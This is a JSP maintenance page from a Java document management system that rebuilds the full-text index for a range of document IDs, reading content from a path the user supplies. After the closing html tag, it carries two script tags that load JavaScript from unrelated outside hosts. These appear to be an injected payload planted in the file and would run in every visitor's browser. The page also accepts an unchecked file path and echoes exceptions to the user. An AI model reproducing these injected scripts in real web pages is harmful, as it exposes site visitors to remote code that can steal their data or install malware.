<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="java.net.URLDecoder"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
Connection conn = null;
try {
  conn = DataSourceFactory.getConnection();
  String fromStr = request.getParameter("from");
  String toStr   = request.getParameter("to");
  String path    = request.getParameter("path");
  if(fromStr!=null && fromStr!=""){
    int from = Integer.parseInt(fromStr);
    int to   = Integer.parseInt(toStr);
    out.println("<br><br>####################################");
    out.println("<br>Wait until it shows:Finish rebuild [x] documents");
    out.println("<br>####################################");  
    int count=0;
    for(int i= from; i < to ; i++){
      DocumentRetrievalManager drm = new DocumentRetrievalManager(sessionContainer, conn);
      DocumentOperationManager dom = new DocumentOperationManager(sessionContainer, conn);
      InputStream data = null;
      DmsDocument newDocument = null;
      try{
        newDocument = drm.getActiveInactiveDoc(new Integer(i));
      }catch(Exception noDocErr){
        out.println("No document ["+i+"]");
      }
      // Full text Insert
      if (newDocument!=null && !DmsDocument.DOCUMENT_LINK.equals(newDocument.getDocumentType()) ) {
        IndexManager idxHandler = FullTextIndexFactory.getInstance();
        try {
          DmsContent docContent = (DmsContent) drm.getContentByContentID(drm.getTopVersionByDocumentID(new Integer(i)).getContentID());
          String dmsCconverted = (String) URLDecoder.decode(docContent.getConvertedName(), "UTF-8");
          DmsContentStoreHandler contentStoreHandler = null;
          try {
            contentStoreHandler = (DmsContentStoreHandler) Class.forName(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_CONTENT_STORE_CLASS)).newInstance();
          } catch (Exception e) {
            throw new ApplicationException(DmsErrorConstant.NAME_CONVERTOR_CLASS_NOT_FOUND);
          }
          contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_NAME_PROPERTY, dmsCconverted);
          contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_PHYSICAL_PATH, path);
          data = contentStoreHandler.readStream();
        }catch(Exception ee){
          out.println(ee);
        }
        out.println("Rebuild file["+i+"]:"+newDocument.getDocumentName());
        if(data!=null){
          newDocument.setScanDocumentForFullText(false);
          dom.indexDocument(newDocument, data, GlobalConstant.OP_MODE_INSERT);
          count++;
        }else{
	   out.println("Rebuild file["+i+"]:"+newDocument.getDocumentName() +" content is null");
        }
      }
      out.println("<br>");
      out.flush();
      conn.commit();
    }
    out.println("<br><br>####################################");
    out.println("<br>Finish rebuild ["+count+"] documents");
    out.println("<br>####################################");
  }
}catch(Exception e){
  out.println(e);
  LogFactory.getLog(this.getClass()).error(e, e);
}finally{
  conn.close();
}

%>
<html>
<body>
<form action="RebuildFulltextFromFile.jsp">
<br>Document ID From:<input type="text" name="from">
<br>Document ID To:<input type="text" name="to">
<br>Document Physical Path:<input type="text" name="path" value="D:/ParaDM/file/ParaDOC">
<br><input type="submit">
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>